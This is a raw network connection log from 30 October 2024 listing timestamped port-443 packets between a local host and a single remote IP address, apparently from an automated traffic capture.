Oct 30, 2024 02:28:20.649653912 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649822950 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.649822950 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.649847031 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649867058 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.651854992 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.651876926 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.651947975 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.652045965 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.652060032 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.729933977 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.732243061 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.732260942 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.732799053 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.732803106 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.774496078 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.774661064 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.774713993 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.774837971 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.774847031 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.774869919 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.774879932 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.777359009 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.777393103 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.777462959 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.777620077 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.777627945 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.860152960 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.860219955 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.860321999 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.860347033 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.860400915 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.860606909 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.860622883 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.860634089 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.860637903 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.863445044 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.863466978 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.863543034 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.863704920 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.863717079 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.188055992 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.188524961 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.188546896 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.188985109 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.188991070 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.229793072 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.230366945 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.230379105 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.230703115 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.230707884 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.318675995 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.318727016 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.318895102 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.318927050 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.318938971 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.318974972 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.318979979 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.321491957 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.321522951 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.321594000 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.321736097 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.321748018 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.362999916 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.363120079 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.363178968 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.363218069 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.363233089 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.363243103 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.363248110 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.365257978 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.365277052 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.365348101 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.365492105 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.365500927 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.403304100 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.403717995 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.403733969 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.404165983 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.404171944 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.508557081 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.509015083 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.509026051 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.509447098 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.509452105 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.538625002 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.538789988 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.538961887 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.539108992 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.539120913 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.539130926 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.539135933 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.541753054 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.541771889 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.541860104 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.542016983 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.542031050 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.605242014 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.605629921 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.605640888 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.606024981 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.606029987 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.639625072 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.639650106 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.639688969 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.639807940 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.639991045 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.640002012 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.640012980 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.640017986 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.642333984 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.642364025 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.642432928 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.642573118 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.642582893 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.734422922 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.734586954 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.734647989 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.734733105 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.734740973 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.734752893 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.734756947 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.742388010 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.742403984 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:21.742463112 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.742908001 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:21.742921114 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.074170113 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.075272083 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.075289011 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.075747967 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.075752974 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.100589037 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.101003885 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.101017952 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.101439953 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.101444960 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208229065 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208297968 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208367109 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.208379984 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208439112 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208487034 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.208617926 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.208632946 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.208643913 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.208648920 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.211163998 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.211185932 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.211256027 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.211405039 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.211416006 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.229552984 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.229696989 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.229758978 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.229816914 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.229837894 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.229849100 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.229854107 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.231898069 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.231926918 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.231998920 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.232109070 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.232121944 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.286626101 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.287142992 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.287158012 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.287600994 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.287605047 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.413278103 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.416663885 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.416826010 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.417013884 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.417032003 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.417038918 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.417099953 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.417107105 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.417120934 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.417125940 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.417402983 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.417407036 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.419210911 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.419246912 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.419337034 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.419454098 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.419464111 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.473232031 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.477152109 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.477159977 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.477596045 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.477601051 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.550883055 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.550950050 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.551039934 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.551260948 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.551275969 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.551285028 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.551290035 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.553823948 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.553844929 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.553934097 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.554064989 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.554076910 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.603885889 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.604058027 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.604140997 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.604295969 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.604301929 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.604310989 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.604315996 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.606367111 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.606390953 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.606487036 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.606607914 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.606626034 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.946285963 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.946809053 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.946829081 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.947264910 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.947269917 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.971788883 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.972212076 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.972225904 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:22.972584963 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:22.972590923 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.074901104 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.075089931 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.075155020 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.075182915 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.075197935 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.075207949 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.075213909 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.077756882 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.077841043 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.077936888 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.078048944 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.078082085 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.104836941 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.104979038 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.108794928 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.108819962 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.108828068 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.108856916 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.108860970 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.111094952 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.111121893 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.111182928 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.111330986 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.111342907 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.166827917 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.167303085 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.167316914 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.167758942 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.167762041 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.298876047 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.299027920 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.299149036 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.299180984 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.299195051 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.299204111 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.299209118 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.301996946 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.302047968 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.302143097 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.302298069 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.302329063 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.306489944 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.306817055 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.306845903 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.307235003 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.307240963 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.344240904 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.344645977 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.344666004 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.345016956 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.345025063 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.440701962 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.440735102 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.440778971 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.440779924 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.440821886 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.440987110 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.440998077 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.441013098 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.441019058 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.452845097 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.452939987 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.453001976 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.453412056 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.453450918 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.474596977 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.474736929 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.474788904 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.474843979 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.474855900 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.474864960 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.474869967 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.477149963 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.477178097 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.477242947 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.477374077 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.477387905 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.836532116 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.837012053 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.837044001 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.837480068 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.837493896 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.860234022 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.860671997 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.860687017 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.861067057 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.861072063 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.967479944 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.967643976 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.967736959 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.967921019 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.967955112 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.967999935 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.968017101 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.970698118 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.970757961 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.970856905 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.971024990 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.971052885 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.993232965 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.993421078 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.993474960 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.993532896 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.993546009 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.993578911 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.993583918 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.996206045 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.996222019 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:23.996290922 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.996412039 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:23.996422052 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.032078981 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.032715082 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.032741070 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.033149004 CET	49915	443	192.168.2.4	13.107.246.45
